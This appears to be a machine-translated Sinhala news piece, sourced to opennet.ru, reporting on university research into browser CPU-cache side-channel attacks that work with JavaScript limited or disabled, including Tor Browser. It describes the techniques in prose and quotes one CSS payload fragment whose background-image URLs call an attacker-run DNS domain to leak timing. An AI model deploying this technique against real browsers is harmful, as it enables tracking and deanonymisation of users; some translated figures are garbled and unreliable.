ජාවාස්ක්‍රිප්ට් නොමැතිව වෙබ් බ්‍රවුසරයක ක්‍රියාත්මක CPU හැඹිලි නිස්සාරණ ප්‍රහාරය

ඇමරිකානු, ඊශ්‍රායල සහ ඕස්ට්‍රේලියානු විශ්ව විද්‍යාල කිහිපයක පර්යේෂකයන් කණ්ඩායමක් විසින් ප්‍රොසෙසර හැඹිලියේ අන්තර්ගතය පිළිබඳ තොරතුරු උකහා ගැනීම සඳහා වෙබ් බ්‍රව්සර් මත ක්‍රියාත්මක වන ප්‍රහාර තුනක් සංවර්ධනය කර ඇත. එක් ක්‍රමයක් ජාවාස්ක්‍රිප්ට් නොමැති බ්‍රව්සර්වල ක්‍රියා කරන අතර අනෙක් ක්‍රම දෙක ටෝර් බ්‍රවුසරයේ සහ ඩිටර්ෆොක්ස් හි භාවිතා කරන පැති නාලිකා ප්‍රහාරවලට එරෙහිව පවතින ආරක්ෂණ ක්‍රම මඟ හරියි. ප්‍රහාර නිරූපණය කිරීමේ කේතය මෙන්ම ප්‍රහාර සඳහා අවශ්‍ය සේවාදායක සංරචක GitHub හි ප්‍රකාශයට පත් කෙරේ.

හැඹිලියේ අන්තර්ගතය විශ්ලේෂණය කිරීම සඳහා, සියලුම ප්‍රහාර Prime+Probe ක්‍රමය භාවිතා කරයි, එයට සම්මත අගයන් සමූහයකින් හැඹිලිය පිරවීම සහ ඒවා නැවත පිරවීමේදී ඒවාට ප්‍රවේශ වීමේ කාලය මැනීමෙන් වෙනස්කම් හඳුනා ගැනීම ඇතුළත් වේ. නිවැරදි කාලය මැනීමට බාධා කරන බ්‍රවුසරවල පවතින ආරක්‍ෂක යාන්ත්‍රණ මඟ හැරීම සඳහා, විකල්ප දෙකකින්, ප්‍රහාරකයා විසින් පාලනය කරනු ලබන DNS හෝ WebSocket සේවාදායකයකට අභියාචනයක් ඉදිරිපත් කරනු ලැබේ, එය ලැබුණු ඉල්ලීම් වල කාලසටහනක් තබා ගනී. එක් ප්‍රතිමූර්තියක, ස්ථාවර DNS ප්‍රතිචාර කාලය කාල යොමුවක් ලෙස භාවිතා කරයි.

යන්ත්‍ර ඉගෙනීම මත පදනම් වූ වර්ගීකරණ පද්ධතියක් භාවිතා කරමින් බාහිර DNS හෝ WebSocket සේවාදායකයන් භාවිතයෙන් කරන ලද මිනුම්, වඩාත්ම ප්‍රශස්ත අවස්ථාවෙහි (සාමාන්‍ය 98-80%) 90% දක්වා නිරවද්‍යතාවයකින් අගයන් පුරෝකථනය කිරීමට ප්‍රමාණවත් විය. ප්රහාරක ක්රම විවිධ දෘඪාංග වේදිකාවල (Intel, AMD Ryzen, Apple M1, Samsung Exynos) පරීක්ෂා කර ඇති අතර ඒවා විශ්වීය බව ඔප්පු කර ඇත.

ජාවාස්ක්‍රිප්ට් නොමැතිව වෙබ් බ්‍රවුසරයක ක්‍රියාත්මක CPU හැඹිලි නිස්සාරණ ප්‍රහාරය

DNS රේසිං ප්‍රහාරයේ පළමු ප්‍රභේදය JavaScript අරා භාවිතයෙන් Prime+Probe ක්‍රමයේ සම්භාව්‍ය ක්‍රියාත්මක කිරීමක් භාවිතා කරයි. නොපවතින වසමකින් රූපයක් පූරණය කිරීමට උත්සාහ කරන විට ක්‍රියාත්මක වන බාහිර DNS-පාදක ටයිමරයක් සහ වැරදි හසුරුවක භාවිතය දක්වා වෙනස්කම් පහළ වේ. ජාවාස්ක්‍රිප්ට් ටයිමරයට ප්‍රවේශය සීමා කරන හෝ සම්පූර්ණයෙන්ම අක්‍රිය කරන බ්‍රවුසරවලට Prime+Probe ප්‍රහාරයක් සඳහා බාහිර ටයිමරයක් ඉඩ දෙයි.

එකම ඊතර්නෙට් ජාලයේ පිහිටා ඇති DNS සේවාදායකයක් සඳහා, ටයිමරයේ නිරවද්‍යතාවය ආසන්න වශයෙන් 2 ms ලෙස ගණන් බලා ඇත, එය පැති නාලිකා ප්‍රහාරයක් සිදු කිරීමට ප්‍රමාණවත් වේ (සංසන්දනය කිරීම සඳහා, Tor බ්‍රව්සරයේ සම්මත JavaScript ටයිමරයේ නිරවද්‍යතාවය වේ. 100 ms දක්වා අඩු කර ඇත). ප්‍රහාරය සඳහා, DNS සේවාදායකය පාලනය කිරීම අවශ්‍ය නොවේ, මන්ද මෙහෙයුම ක්‍රියාත්මක කිරීමේ වේලාව තෝරාගෙන ඇති අතර එමඟින් DNS වෙතින් ප්‍රතිචාර දැක්වීමේ කාලය චෙක්පත කලින් අවසන් කිරීමේ ලකුණක් ලෙස ක්‍රියා කරයි (අවශ්‍ය හසුරුවන්නා ක්‍රියාත්මක වූයේද යන්න මත පදනම්ව. කලින් හෝ පසුව, හැඹිලිය සමඟ චෙක්පත් මෙහෙයුමේ වේගය පිළිබඳ නිගමනයකට එළඹේ) .

දෙවන ප්‍රහාරක ක්‍රමය, "String and Sock", JavaScript හි අරා වල පහත් මට්ටමේ භාවිතය සීමා කරන ආරක්ෂක තාක්ෂණික ක්‍රම මග හැරීම අරමුණු කරයි. අරා වෙනුවට, String සහ Sock ඉතා විශාල නූල් මත මෙහෙයුම් භාවිතා කරයි, එහි ප්‍රමාණය තෝරාගෙන ඇති අතර එමඟින් විචල්‍යය මුළු LLC හැඹිලිය (අවසන් මට්ටමේ හැඹිලිය) ආවරණය කරයි. ඊළඟට, indexOf() ශ්‍රිතය භාවිතා කරමින්, තන්තුව තුළ කුඩා උපස්ථරයක් සොයනු ලැබේ, එය ප්‍රභව තන්තුවේ මුලින් නොමැති වේ, i.e. සෙවුම් මෙහෙයුමේ ප්‍රතිඵලය වන්නේ මුළු තන්තුවම පුනරාවර්තනය වීමයි. රේඛා ප්‍රමාණය LLC හැඹිලියේ ප්‍රමාණයට අනුරූප වන බැවින්, ස්කෑන් කිරීම මඟින් ඔබට අරා හැසිරවීමකින් තොරව හැඹිලි පිරික්සුම් මෙහෙයුමක් සිදු කිරීමට ඉඩ සලසයි. ප්‍රමාදයන් මැනීමට, DNS වෙනුවට, ප්‍රහාරකයා විසින් පාලනය කරනු ලබන WebSocket සේවාදායකයකට ඇමතුමක් ලබා දෙනු ලැබේ - සෙවුම් මෙහෙයුම අවසන් වීමට පෙර සහ පසුව, විමසුම් රේඛාවට යවනු ලැබේ, එය මත පදනම්ව සේවාදායකය විසින් හැඹිලිය විශ්ලේෂණය කිරීමට භාවිතා කරන ප්‍රමාදය ගණනය කරයි. අන්තර්ගතය.

"CSS PP0" ප්‍රහාරයේ තුන්වන ප්‍රභේදය HTML සහ CSS හරහා ක්‍රියාත්මක වන අතර, JavaScript අක්‍රිය කර ඇති බ්‍රව්සර්වල ක්‍රියා කළ හැක. ක්‍රමය "String and Sock" ට සමාන නමුත් JavaScript සමඟ බැඳී නැත. ප්‍රහාරය අතරතුර, මාස්ක් මගින් සෙවුම් කරන CSS තේරීම් කට්ටලයක් ජනනය වේ. හැඹිලිය පුරවන ආරම්භක විශාල තන්තුව ඉතා විශාල පන්ති නාමයක් සහිත div ටැගයක් සෑදීමෙන් සකසා ඇත. ඇතුලේ තියෙන්නේ එයාලගේම identifier තියෙන වෙනත් divs සෙට් එකක්. මෙම සෑම කැදලි div එකකටම උප තන්තුවක් සොයන තේරීම් කාරකයක් සමඟ තමන්ගේම ශෛලියක් ඇත. පිටුවක් විදැහුම් කරන විට, බ්‍රවුසරය ප්‍රථමයෙන් අභ්‍යන්තර කොටස් සැකසීමට උත්සාහ කරයි, එහි ප්‍රතිඵලයක් ලෙස විශාල පේළියක සෙවුම් මෙහෙයුමක් සිදුවේ. සෙවුම හිතාමතාම නැතිවූ වෙස් මුහුණක් භාවිතයෙන් සිදු කරන අතර සම්පූර්ණ රේඛාව පුරා පුනරාවර්තනය වීමට මග පාදයි, ඉන් පසුව "නොවේ" තත්ත්වය ක්‍රියාත්මක වන අතර අහඹු වසම් යොමු කරන පසුබිම් රූපයක් පැටවීමට උත්සාහ කරයි: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … x x ...

ඉල්ලීම් ලැබීමේ ප්‍රමාදයන් මැනිය හැකි ප්‍රහාරකයාගේ DNS සේවාදායකය මගින් උපවසම් සේවා සපයයි. DNS සේවාදායකය සියලුම ඉල්ලීම් සඳහා NXDOMAIN නිකුත් කරන අතර ඉල්ලීම්වල නිශ්චිත වේලාව පිළිබඳ ලොගයක් තබා ගනී. divs කට්ටලයක් සැකසීමේ ප්‍රතිඵලයක් ලෙස, ප්‍රහාරකයාගේ DNS සේවාදායකයට ඉල්ලීම් මාලාවක් ලැබේ, ඒවා අතර ප්‍රමාදයන් හැඹිලි අන්තර්ගතය පරීක්ෂා කිරීමේ ප්‍රතිඵලය සමඟ සහසම්බන්ධ වේ.

ජාවාස්ක්‍රිප්ට් නොමැතිව වෙබ් බ්‍රවුසරයක ක්‍රියාත්මක CPU හැඹිලි නිස්සාරණ ප්‍රහාරය


මූලාශ්රය: opennet.ru

අදහස් එක් කරන්න